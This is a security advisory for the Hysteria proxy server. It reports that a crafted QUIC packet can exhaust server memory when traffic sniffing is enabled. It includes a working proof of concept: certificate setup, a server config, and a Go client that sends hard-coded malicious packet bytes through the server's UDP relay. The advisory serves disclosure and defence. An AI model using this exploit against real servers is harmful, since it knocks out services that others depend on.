Hysteria: A specially constructed quic package can crash the server OOM when the sniff is enabled

Summary

### Summary

A specially constructed quic package can crash the server OOM when the sniff is enabled.

### Details

When the server has sniff enabled, a valid connection can request the server to forward UDP traffic and construct a huge crypto length. The server will allocate memory according to this length, causing an OOM.

### PoC ``` openssl req -x509 -newkey rsa:2048 -nodes -keyout localhost.key -out localhost.crt -days 365 -subj "/CN=localhost" 2>/dev/null ```

server.yaml ``` listen: :8443 tls: cert: localhost.crt key: localhost.key auth: type: password password: mypassword sniff: enable: true outbounds: - name: my_direct type: direct default: true ```

poc.go

``` package main

import ( "flag" "fmt" "log" "net" "time"

"github.com/apernet/hysteria/core/v2/client" )

func main() { serverAddrStr := flag.String("server", "127.0.0.1:8443", "Hysteria server address") password := flag.String("password", "mypassword", "Hysteria server password") flag.Parse()

serverAddr, _ := net.ResolveUDPAddr("udp", *serverAddrStr) c, _, err := client.NewClient(&client.Config{ ServerAddr: serverAddr, Auth: *password, TLSConfig: client.TLSConfig{InsecureSkipVerify: true}, }) if err != nil { log.Fatalf("Failed to connect: %v", err) } defer c.Close()

var maliciousQUICPacket = []byte{ 0xcb, 0x0, 0x0, 0x0, 0x1, 0x8, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x0, 0x0, 0x32, 0x1d, 0xa8, 0xd6, 0x3c, 0x51, 0x24, 0xb7, 0xbe, 0xf2, 0x91, 0x77, 0x1c, 0x9d, 0x66, 0xfc, 0xab, 0x91, 0x1e, 0xaf, 0xf9, 0x14, 0xd5, 0xec, 0xb0, 0x74, 0x46, 0x4f, 0x4, 0x70, 0x18, 0x35, 0x31, 0xc5, 0xea, 0x36, 0x40, 0x36, 0x65, 0xdf, 0xa4, 0xcc, 0xf9, 0xff, 0x65, 0xe5, 0x1d, 0xb7, 0xc5, 0xc2, 0xc2, }

udpConn, err := c.UDP() if err != nil { fmt.Printf("[-] UDP error: %v\n", err) } targetAddr := fmt.Sprintf("8.8.8.8:443") fmt.Printf("[*] Sending 'death' packet to %s...\n", targetAddr) _ = udpConn.Send(maliciousQUICPacket, targetAddr)

// Wait longer to ensure packet delivery time.Sleep(3 * time.Second) fmt.Printf("[+] Done.\n") } ```

### Impact When sniffing is enabled on the server, a user with a valid password can launch an attack that could cause the server to run out of memory (OOM).